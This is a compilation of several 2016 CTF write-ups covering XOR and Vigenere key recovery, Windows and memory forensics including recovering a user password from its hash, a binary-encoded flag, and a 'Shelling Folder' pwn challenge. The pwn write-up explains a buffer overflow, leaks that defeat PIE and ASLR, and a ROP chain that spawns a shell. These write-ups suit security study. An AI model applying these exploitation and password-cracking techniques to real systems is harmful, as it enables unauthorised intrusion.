<mime-info xmlns="http://www.freedesktop.org/standards/shared-mime-info"> <mime-type type="application/x-extension-xhtml"> <comment>xhtml document</comment> <glob pattern="*.xhtml"/> </mime-type></mime-info>```
#### blocklist.xmlAfter some research I discovered that `blocklist.xml` is updated once a day.The one in the challenge was last modified Nov 28, and mine was last modifiedDec 10 with a significantly different size. From `about:config` I found`https://blocklist.addons.mozilla.org/blocklist/3/%APP_ID%/%APP_VERSION%/%PRODUCT%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/%PING_COUNT%/%TOTAL_PING_COUNT%/%DAYS_SINCE_LAST_PING%/`,but I don't know valid arguments, and it looks like there's no way to requesthistorical versions of the file. I spent a fair amount of time on that beforegiving up and going the more effort way: since XML has a standard format, youcan guess a few characters after what's decrypted, use that to get a few morebytes of the key, and repeat for any index multiple of 1024 in the file.
#### ExampleWe have a plaintext mime-type file and a ciphertext mime-type file which we xorto get the first 254 bytes of the key. xoring the partial key with the start ofthe encrypted `blocklist.xml` gives:```xml
<blocklist xmlns="http://www.mozilla.org/2006/addons-blocklist" lastupdate="1456184414000"> <emItems> <emItem blockID="i58" id="[email protected]"> <versionRange minVersion="0" maxVersion=```We assume that the value of `maxVersion` is a string (to match `minVersion` andbecause it's that way in the newest version of the file), so we now have 255plaintext bytes which we can xor with the ciphertext and get 255 bytes of thekey. Next, we shift to index 1024 in the ciphertext (since the xor cipher has ablock size of 1024) and xor 255 bytes with the key to get more plaintext:```xml <versionRange minVersion="0" maxVersion="*" severity="1"> </versionRange> <prefs> </prefs> </emItem> <emItem blockID="i105" id="{95ff02bc-ffc6-45f0-a5c8-619b8226a9de}"> ```(there's a newline and a bunch of spaces at the end there) Sadly, we don't knowwhat comes next this time, so we move on to index 2048.
We repeat until we get the key to length 1024.
Note: if you're doing this in vim, you'll want these options: `:set binary` and`:set noendofline`. They will keep vim from messing with tabs and spaces andfrom appending a hidden newline to the end of the file.
#### CodeI scripted as much as possible, but it still requires manual intervention oneach iteration.```python#!/usr/bin/python2
def xor(xs, ys): return "".join([chr(ord(x) ^ ord(y)) for x, y in zip(xs, ys)])
def fread(path): with open(path) as f: return f.read()
def fwrite(path, data): with open(path, "w") as f: return f.write(data)
gooduserxml = fread("user-extension-xhtml.xml")baduserxml = fread("home/tc/.local/share/mime/packages/user-extension-xhtml.xml")badflag = fread("home/tc/h1dd3n_s3cr3t_f14g.jpg")badblocklist = fread("home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xml")# If working key is there, use it, else calculate first 254 bytestry: key = fread("key")except IOError: key = xor(gooduserxml, baduserxml)
i = 0while len(key) != 1024: fwrite("partialblocklist.xml", xor(badblocklist[i:i+len(key)], key)) # Append to partialblocklist.xml, and then press enter raw_input("cur key len: " + str(len(key)))
partialblocklist = fread("partialblocklist.xml") key = xor(partialblocklist, badblocklist[i:i+len(partialblocklist)])[:1024] fwrite("key", key) i = i + 1024 if i < len(badblocklist) - 2048 else 0
fwrite("flag.jpg", xor(badflag, key))```
### FlagPicture of some meat with text `SECCON{This is Virtual FAT too}` |
<span># seccon2016-vigenere-writeupSeccon 2016 Vigenere Writeup
The question was like following:
Vigenerek: ????????????p: SECCON{???????????????????????????????????}c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQk=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}-+----------------------------A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}AC|CDEFGHIJKLMNOPQRSTUVWXYZ{}ABD|DEFGHIJKLMNOPQRSTUVWXYZ{}ABCE|EFGHIJKLMNOPQRSTUVWXYZ{}ABCDF|FGHIJKLMNOPQRSTUVWXYZ{}ABCDEG|GHIJKLMNOPQRSTUVWXYZ{}ABCDEFH|HIJKLMNOPQRSTUVWXYZ{}ABCDEFGI|IJKLMNOPQRSTUVWXYZ{}ABCDEFGHJ|JKLMNOPQRSTUVWXYZ{}ABCDEFGHIK|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJL|LMNOPQRSTUVWXYZ{}ABCDEFGHIJKM|MNOPQRSTUVWXYZ{}ABCDEFGHIJKLN|NOPQRSTUVWXYZ{}ABCDEFGHIJKLMO|OPQRSTUVWXYZ{}ABCDEFGHIJKLMNP|PQRSTUVWXYZ{}ABCDEFGHIJKLMNOQ|QRSTUVWXYZ{}ABCDEFGHIJKLMNOPR|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQS|STUVWXYZ{}ABCDEFGHIJKLMNOPQRT|TUVWXYZ{}ABCDEFGHIJKLMNOPQRSU|UVWXYZ{}ABCDEFGHIJKLMNOPQRSTV|VWXYZ{}ABCDEFGHIJKLMNOPQRSTUW|WXYZ{}ABCDEFGHIJKLMNOPQRSTUVX|XYZ{}ABCDEFGHIJKLMNOPQRSTUVWY|YZ{}ABCDEFGHIJKLMNOPQRSTUVWXZ|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{Vigenere cipherhttps://en.wikipedia.org/wiki/Vigen%C3%A8re_cipherFirst, we have to derive key to decrypt the ciphertext.As given some of the plaintext is : SECCON{ and }So we derived the key from first 7 characters of ciphertext: LMIG}RPThe derived key is: VIGENERxxxxxSince the algorithm is Vigenere, we guessed that the 8th character is E and the current key value is:VIGENERExxxx In Vigenere algorithm the key is repeated by the length of plaintext.So we divided plaintext by 12 which is keys length.key: VIGENERExxxxVIGENERExxxxVIGENERExxxxVIGENERcipher: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQplain: SECCON{AxxxxBCDEDEFGxxxxKLMNOPQRxxxxVWXYYZ}We saw that the missing parts of plain text are relevant to neighbor characters. * In the first chunk the characters will be some sequence of A,B,C* In the second chunk the characters will be some sequence of F,G,H,I,J,K,L* In the third chunk the characters will be some sequence of Q,R,S,T,U,V,W Since we have md5 of plaintext, we write a code that tries the md5 of following sequences to derive the key.
Flag is: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}</span> |
# J1 (forensics)
###ENG[PL](#pl-version)
This was a multilevel forensics task.
We were given a windows virtual machine to work with. The machine had user "M" with unknown password.Intially we reset the password, but this turned out to be a bad idea since the user had bitlocker encrypoted files and the password was necessary after all.So we used Ophcrack to recover the password hash `f6939966b0ffbc61c2c520cea20c2db0` and some online breaker told us this is `qwerty1234`.
Now we could decrypt the files:
* A picture with some meaningless email* Email hinting that admin likes to use the same password in many places* html page with some javascript
The javascript has some placeholders for parameters we had to guess/bruteforce but after a while we got:
```javascriptfor (var d = 11; d < 12; d++) { var key = ""; var clear = ""; var encrypted = "96.28.95.118.9.2.58.29.56.52.44.25.58.51.83.8.108.20.53.37.88.2.71.80"; secret = navigator.platform + "en-UStrue2000" ;
for (i=0; i < secret.length; i++) { key+= String.fromCharCode(secret.charCodeAt(i) ^ d);} encrypted = encrypted.split ("."); for (i=0; encrypted.length > key.length; i++) { key += key; }
for (i=0; i < encrypted.length; i++) { clear += String.fromCharCode(key.charCodeAt(i) ^ parseInt(encrypted[i]));} document.write (clear + "");}```
and were left with the only interesting result:
```<~:N0l_;flS`D]j3W/iG=:~>```
It took us a while to realise that this is ASCII85 encoding and it decodes to `OpenStego v0.6.1`.
We used this tool on the picture we recovered, using the same admin password (as hinted in the recovered email) and we got a doc file from this.
This doc file contained a macro with flag decryption.Sadly none of us had MS Word to open this :( Luckily quick thinking of one of our players saved us.He uploaded this Word file to Malwr, which then opened the file inside a sandbox and provided us with a useful memory dump.Among other things there was a base64 string, which decoded finally gave us the flag.
###PL version
Zadanie było wielopoziomowym problemem z informatyki śledczej.
Dostaliśmy windowsową maszynę wirtualną do pracy.Na maszynie był użytkownik "M" z nieznanym hasłem.Początkowo zresetowaliśmy hasło, ale to okazało się złym pomysłem, bo na dysku były pliku szyfrowane bitlockerem i hasło było potrzebne żeby je odzyskać.Użyliśmy Ophcracka żeby odzyskać hash hasła `f6939966b0ffbc61c2c520cea20c2db0` a jakiś onlinowy hash breaker powiedział że to `qwerty1234`.
Teraz mogliśmy odszyfrować pliki:
* Obrazek z nieistotnym mailem* Mail wspominający że admin lubi używać tego samego hasła wielokrotnie* Stronę html ze skryptem JS
Skrypt miał pewne placeholdery które trzeba było zgadnąć / brutować ale po pewnym czasie uzyskaliśmy:
```javascriptfor (var d = 11; d < 12; d++) { var key = ""; var clear = ""; var encrypted = "96.28.95.118.9.2.58.29.56.52.44.25.58.51.83.8.108.20.53.37.88.2.71.80"; secret = navigator.platform + "en-UStrue2000" ;
for (i=0; i < secret.length; i++) { key+= String.fromCharCode(secret.charCodeAt(i) ^ d);} encrypted = encrypted.split ("."); for (i=0; encrypted.length > key.length; i++) { key += key; }
for (i=0; i < encrypted.length; i++) { clear += String.fromCharCode(key.charCodeAt(i) ^ parseInt(encrypted[i]));} document.write (clear + "");}```
i otrzymaliśmy jedyny sensowny wynik:
```<~:N0l_;flS`D]j3W/iG=:~>```
Chwile zajęło nam odkrycie że to string kodowany jako ASCII85 i dekoduje się do `OpenStego v0.6.1`.
Użyliśmy tego narzędzia na odzyskanym obrazku, używając tego samego hasła admina (jak zasugerowano w mailu który odzyskaliśmy) i dostaliśmy z tego plik doc.
Ten plik worda zawierał makro które dekodowało flagę.Niestety nikt z nas nie miał pod ręką MS Worda i nie mogliśmy tego otworzyć.Szczęśliwie uratował nas świetny pomysł jednego z graczy.Wrzucił on rzeczony plik na Malwr, gdzie plik został otwarty w sandboxie, z którego dostaliśmy użyteczny memdump.Pośród różnych rzeczy był tam string base64, który po zdekodowaniu dał nam flagę. |
#Problem Statement
>A CNN reporter had only one question that she couldn't get off her mind
>Do we even know, who is this 4 CHAN???>So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?
>[kek](https://s3.amazonaws.com/hackthevote/kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt)
#Solution
Upon opening the txt file give, we immediately noticed that it alternated between 2 things: `TOP` and `KEK`. Considering that this is a cryptography problem, we immediately thought binary. Then we noticed the `!`. From this, we can deduce that `TOP` and `KEK` indicate either `0` or `1` and `!` indicate the number of `0` or `1`. Now we just have to write a program to test this theory!
```pythonfor i in open("topkek.txt", "r").read().split(" "): if ("KEK" in i): print ("0" * (len(i) - 3), end = "") else: print ("1" * (len(i) - 3), end = "")```
From this program we get>0110011001101100011000010110011101111011010101000011000001101111001100000110111100110000011011110011000001101111001100000101000001011111010111110101111101011111010111110101111100110001011011010101111101101000001101000101011000110001011011100100011101011111010001100111010101001110010111110111001000110001011001110100100001110100010111110110111000110000010101110101111100110100010100100011001101011111011110010011000001110101010111110110100000110100011101100011000101101110011001110101111101100110011101010110111001011111010111110101111101011111010111110101111101001011001100110100101100100001001000010010000101111101
Then we can use this [website](http://www.binaryhexconverter.com/binary-to-ascii-text-converter) to convert the binary to ascii and we get the flag!
#Flag
>flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!} |
# Shelling Folder
First, I got some info about the binary:```$ file shellingfolder_42848afa70a13434679fac53a471239255753260shellingfolder_42848afa70a13434679fac53a471239255753260: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped
$ checksec ./shellingfolder_42848afa70a13434679fac53a471239255753260[!] Couldn't find relocations against PLT to get symbols[*] '/security/ctfs/hitconquals2016/shellingfolder/shellingfolder_42848afa70a13434679fac53a471239255753260' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
There is no canary, so maybe it's something stack related, but there is PIE andFull RELRO. The program lets you create/list/remove folders and files, with aninterface like this:```************************************** ShellingFolder************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit**************************************Your choice:```
After playing with the binary I was able to make it crash just by adding afile with a long name and then calculating the size. I used the De Bruijnsequence and valgrind to find out that the characters from the 24th to the 31thwere used as an address inside the "calculate size" function.
Looking at that function we see:```Cmemset(s, 0, 32uLL);while ( i <= 9 ){ if ( folder->subfilesdirs[i] ) { ptr_sz = &folder->size; copy_string(s, folder->subfilesdirs[i]->name); if ( folder->subfilesdirs[i]->is_folder == 1 ) { *ptr_sz = *ptr_sz; } else { printf("%s : size %ld\n", s, folder->subfilesdirs[i]->size); *ptr_sz += folder->subfilesdirs[i]->size; } } ++i;}printf("The size of the folder is %ld\n", folder->size);```
The buffer `s` is just 24 bytes, but the name can be 31 chars, so here is wherethe buffer overflow happens. It appears that we are able to overwrite just the`ptr` variable, that is then dereferenced with:```C*ptr_sz += folder->subfilesdirs[i]->size;```
This looks like a write primitive that allow us to modify the value of anyaddress we want: just put the address inside the name of a new file and set itssize in such a way that the old value plus the file size is equal to thedesired final value.
There are two problems though. First, we don't know any address, not even theones of the binary itself (because of PIE). Second, we need the value at aspecific address before changing it. Thus we absolutely need a leak. Lookingcarefully at `copy_string` function:```Cvoid *copy_string(void *a1, const char *a2){ size_t n;
n = strlen(a2); return memcpy(a1, a2, n);}```It uses a memcpy, so it doesn't put the `\0` at the end of the buffer and if Ihave a name with just 24 bytes, the following `printf` in the "calculate size"function will print `s` with some "garbage" after it, that is the content of`ptr_sz` that lies just after `s`.
So I have a pointer inside the heap (because `ptr_sz` would point to`&folder->size`). I couldn't leak whatever I want, yet.
On the heap there is the folder structure that contains, among other things,pointers to subfolders and files inside a dir. It looks like this:```Cstruct folder_t { struct folder_t **subfilesdirs; struct folder_t *parent_folder; char name[32]; long size; int is_folder; char field_84;}```
How can I use it to leak some info? The "list" function prints allsubfolders/files inside a dir and in particular it prints the names. Bycreating a fake sub-folder that points to the address I want to leak (-88because of the offset of the `name` field inside the structure), I can get thedata I want. The idea is this:* create two files with the right name/size (see exp.py for more details)* calculate the size of the current folder. At this point, the files that I just created should trigger the vuln and write the fake sub-folder pointer in the root folder (detail: I needed two files to make it work because the sizes are just 32bits but the pointer I want to write is 64).* list all subfolders/files to leak the data pointed by the fake sub-folder* delete the two previous files to keep the state of the program clean
At this point I had a leak, but I wasn't able to find anything useful on theheap that pointed to other libraries or to the binary itself. I played a littlebit with the heap by creating and deleting dirs, so that free would place somelibc pointers in the free chunks. Then, I leaked the values and knew where thelibc was.
Inside the libc I found a pointer to the stack(it was the `environ` pointer)and from there a pointer inside the binary. At that point I had everythingneeded to hijack the control flow of the program.
The write primitive is pretty much like the read one:* create two files with the right name/size* calculate the size of the current folder, so that the two files trigger the vuln that writes the value at the address I want* delete the two previous files to keep the state of the program clean
To be honest, I immediately tried to overwrite the GOT, but obviously it failed(by the time I got here I forgot about Full RELRO :) ). After this, I tried tooverwrite the return address of the "calculate size" function itself. Since Ineeded more than one use of the vuln to prepare the ROP chain, I couldn'tdirectly overwrite the return address, but I placed the chain some bytes abovethe main stack frame. When all was set, I overwrote the return address with astack-pivoting gadget, to execute `system('/bin/sh')` and get a shell.
The exploit wasn't 100% reliable, but it worked :)
If you find any mistake or have a better solution, feel free to open an issueor contact me! |
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!<span>You are given this random TOP KEK thing, when you look at it it seems to be alternating KEK and TOP with a bunch of !'s.Looking at it it seems like maybe KEK should be 0 and 1 should be TOP, and the number of them is determined by the number of !'sKEK1 TOP2 KEK2 TOP2 KEK2 TOP2 KEK1 TOP2 KEK3 TOP2 KEK4 TOP1 KEK1 TOP2 KEK2 TOP3 KEK1 TOP4 KEK1 TOP2 KEK1 TOP1 KEK1 TOP1 KEK1 TOP1 KEK4 TOP2 KEK5 TOP2 KEK1 TOP4 KEK2 TOP2 KEK5 TOP2 KEK1 TOP4 KEK2 TOP2 KEK5 TOP2 KEK1 TOP4 KEK2 TOP2 KEK5 TOP2 KEK1 TOP4 KEK2 TOP2 KEK5 TOP1 KEK1 TOP1 KEK5 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK2 TOP2 KEK3 TOP1 KEK1 TOP2 KEK1 TOP2 KEK1 TOP1 KEK1 TOP1 KEK1 TOP5 KEK1 TOP2 KEK1 TOP1 KEK5 TOP2 KEK1 TOP1 KEK3 TOP1 KEK1 TOP1 KEK1 TOP2 KEK3 TOP2 KEK3 TOP1 KEK1 TOP2 KEK1 TOP3 KEK2 TOP1 KEK3 TOP3 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK3 TOP2 KEK2 TOP3 KEK1 TOP1 KEK1 TOP1 KEK1 TOP1 KEK2 TOP3 KEK2 TOP1 KEK1 TOP5 KEK1 TOP3 KEK2 TOP1 KEK3 TOP2 KEK3 TOP1 KEK1 TOP2 KEK2 TOP3 KEK1 TOP1 KEK2 TOP1 KEK4 TOP3 KEK1 TOP1 KEK3 TOP1 KEK1 TOP5 KEK1 TOP2 KEK1 TOP3 KEK3 TOP2 KEK5 TOP1 KEK1 TOP1 KEK1 TOP3 KEK1 TOP1 KEK1 TOP5 KEK2 TOP2 KEK1 TOP1 KEK3 TOP1 KEK1 TOP1 KEK2 TOP1 KEK3 TOP2 KEK2 TOP2 KEK1 TOP1 KEK1 TOP5 KEK1 TOP4 KEK2 TOP1 KEK2 TOP2 KEK5 TOP3 KEK1 TOP1 KEK1 TOP1 KEK1 TOP1 KEK1 TOP5 KEK1 TOP2 KEK1 TOP1 KEK5 TOP2 KEK1 TOP1 KEK3 TOP3 KEK1 TOP2 KEK3 TOP2 KEK3 TOP1 KEK1 TOP2 KEK1 TOP3 KEK2 TOP2 KEK2 TOP3 KEK1 TOP1 KEK1 TOP5 KEK1 TOP2 KEK2 TOP2 KEK2 TOP3 KEK1 TOP1 KEK1 TOP1 KEK1 TOP2 KEK1 TOP3 KEK2 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK1 TOP5 KEK1 TOP1 KEK2 TOP1 KEK1 TOP2 KEK2 TOP2 KEK2 TOP2 KEK1 TOP1 KEK2 TOP1 KEK1 TOP2 KEK2 TOP1 KEK4 TOP1 KEK2 TOP1 KEK4 TOP1 KEK2 TOP1 KEK4 TOP1 KEK1 TOP5 KEK1 TOP1So replacing KEK1 with 0, KEK2 with 00 and so on, we get0 11 00 11 00 11 0 11 000 11 0000 1 0 11 00 111 0 1111 0 11 0 1 0 1 0 1 0000 11 00000 11 0 1111 00 11 00000 11 0 1111 00 11 00000 11 0 1111 00 11 00000 11 0 1111 00 11 00000 1 0 1 00000 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 0 11111 00 11 000 1 0 11 0 11 0 1 0 1 0 11111 0 11 0 1 00000 11 0 1 000 1 0 1 0 11 000 11 000 1 0 11 0 111 00 1 000 111 0 1 0 11111 0 1 000 11 00 111 0 1 0 1 0 1 00 111 00 1 0 11111 0 111 00 1 000 11 000 1 0 11 00 111 0 1 00 1 0000 111 0 1 000 1 0 11111 0 11 0 111 000 11 00000 1 0 1 0 111 0 1 0 11111 00 11 0 1 000 1 0 1 00 1 000 11 00 11 0 1 0 11111 0 1111 00 1 00 11 00000 111 0 1 0 1 0 1 0 11111 0 11 0 1 00000 11 0 1 000 111 0 11 000 11 000 1 0 11 0 111 00 11 00 111 0 1 0 11111 0 11 00 11 00 111 0 1 0 1 0 11 0 111 00 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 0 11111 0 1 00 1 0 11 00 11 00 11 0 1 00 1 0 11 00 1 0000 1 00 1 0000 1 00 1 0000 1 0 11111 0 1Now if we put this into a binary to text converter we get flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}</span> |
# Memory (forensics 100)
###ENG[PL](#pl-version)
In the task we get a memdump (quite large so we won't add it here).We proceed with the analysis using volatility.
If we check connections we can see that there is only one:
```$ ./volatility-2.5.standalone.exe connections -f forensic_100.rawVolatility Foundation Volatility Framework 2.5Offset(V) Local Address Remote Address Pid---------- ------------------------- ------------------------- ---0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080```
No we can still play with volatility or we can just check this IP directly in the memdump strings and we can find:
```# Copyright (c) 1993-1999 Microsoft Corp.# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.# This file contains the mappings of IP addresses to host names. Each# entry should be kept on an individual line. The IP address should# be placed in the first column followed by the corresponding host name.# The IP address and the host name should be separated by at least one# space.# Additionally, comments (such as these) may be inserted on individual# lines or following the machine name denoted by a '#' symbol.# For example:# 102.54.94.97 rhino.acme.com # source server# 38.25.63.10 x.acme.com # x client host127.0.0.1 localhost153.127.200.178 crattack.tistory.com ```
So it seems someone added this IP manually for host `crattack.tistory.com`.
If we now look for the host `crattack.tistory.com` we can find:
```C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd```
This matches what we've seen - someone was accessing this IP on port 80, so it was IE.But this IP does not match the actual IP of this host.So we check what did the user see under `http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd` -> `http://153.127.200.178/entry/Data-Science-import-pandas-as-pd` and it turnes out to be the flag:
`SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}`
###PL version
W zadaniu dostajemy memdump (duży więc go nie wrzucamy).Rozpoczynamy analizę z volatility.
Jeśli sprawdzimy połączenia to widzimy tylko jedno:
```$ ./volatility-2.5.standalone.exe connections -f forensic_100.rawVolatility Foundation Volatility Framework 2.5Offset(V) Local Address Remote Address Pid---------- ------------------------- ------------------------- ---0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080```
Moglibyśmy dalej bawić się z volatility ale szybciej będzie poszukać tego IP w stringach z memdumpa:
```# Copyright (c) 1993-1999 Microsoft Corp.# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.# This file contains the mappings of IP addresses to host names. Each# entry should be kept on an individual line. The IP address should# be placed in the first column followed by the corresponding host name.# The IP address and the host name should be separated by at least one# space.# Additionally, comments (such as these) may be inserted on individual# lines or following the machine name denoted by a '#' symbol.# For example:# 102.54.94.97 rhino.acme.com # source server# 38.25.63.10 x.acme.com # x client host127.0.0.1 localhost153.127.200.178 crattack.tistory.com ```
Jak widać ktoś ręcznie dodał ten IP dla hosta `crattack.tistory.com`.
Jeśli teraz poszukamy hosta `crattack.tistory.com` znajdziemy:
```C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd```
Co pasuje do tego co obserwowaliśmy - ktoś łączył się z tym adresem na porcie 80, więc było to IE.Ale ten IP nie pasuje do faktycznego adresu tego hosta.Sprawwdźmy więc co użytkownik widział pod `http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd` -> `http://153.127.200.178/entry/Data-Science-import-pandas-as-pd` a okazuje się to być flagą:
`SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}` |
# Vigenere (crypto 100)
###ENG[PL](#pl-version)
In the task we get a ciphertext:
```LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ```
And information that this is Vigener Cipher with alphabet:
```ABCDEFGHIJKLMNOPQRSTUVWXYZ{}```
And the md5 of plaintext is `f528a6ab914c1ecf856a1d93103948fe`
We of course know the flag prefix `SECCON{` so we can instantly recover the prefix of the key:
```pythondef get_key_prefix(alphabet, ct, known_pt): result = "" for i in range(len(known_pt)): plain = known_pt[i] cipher = ct[i] key = alphabet[alphabet.index(cipher) - alphabet.index(plain)] result += key return result```
which gives us `VIGENER`
Next we can just brute-force the missing 4 bytes of the key:
```pythondef decode(alphabet, ct, key): result = "" for i in range(len(ct)): c = ct[i] k = key[i % len(key)] if k != "?": p = alphabet[alphabet.index(c) - alphabet.index(k)] else: p = "?" result += p return result
def worker(data): c, alphabet, ct, key = data key += c for suffix in itertools.product(alphabet, repeat=4): new_key = key + "".join(suffix) pt = decode(alphabet, ct, new_key) if hashlib.md5(pt).hexdigest() == "f528a6ab914c1ecf856a1d93103948fe": print(pt) return pt
def main(): alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}" ct = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ" key_prefix = get_key_prefix(alphabet, ct, "SECCON{") print('key prefix ', key_prefix) print(brute(worker, [(c, alphabet, ct, key_prefix) for c in alphabet]))
if __name__ == '__main__': freeze_support() main()```
Which gives us almost instantly `SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}`
###PL version
W zadaniu dostajemy zaszyfrowany tekst:
```LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ```
I informacje że to szyfr Vigenera z alfabetem:
```ABCDEFGHIJKLMNOPQRSTUVWXYZ{}```
Mamy też md5 plaintextu: `f528a6ab914c1ecf856a1d93103948fe`
I oczywiście znamy prefix flagi `SECCON{` więc możemy od razu odzyskać prefix klucza:
```pythondef get_key_prefix(alphabet, ct, known_pt): result = "" for i in range(len(known_pt)): plain = known_pt[i] cipher = ct[i] key = alphabet[alphabet.index(cipher) - alphabet.index(plain)] result += key return result```
co daje nam `VIGENER`
Następnie możemy brute-forcować brakujące 4 bajty klucza:
```pythondef decode(alphabet, ct, key): result = "" for i in range(len(ct)): c = ct[i] k = key[i % len(key)] if k != "?": p = alphabet[alphabet.index(c) - alphabet.index(k)] else: p = "?" result += p return result
def worker(data): c, alphabet, ct, key = data key += c for suffix in itertools.product(alphabet, repeat=4): new_key = key + "".join(suffix) pt = decode(alphabet, ct, new_key) if hashlib.md5(pt).hexdigest() == "f528a6ab914c1ecf856a1d93103948fe": print(pt) return pt
def main(): alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}" ct = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ" key_prefix = get_key_prefix(alphabet, ct, "SECCON{") print('key prefix ', key_prefix) print(brute(worker, [(c, alphabet, ct, key_prefix) for c in alphabet]))
if __name__ == '__main__': freeze_support() main()```
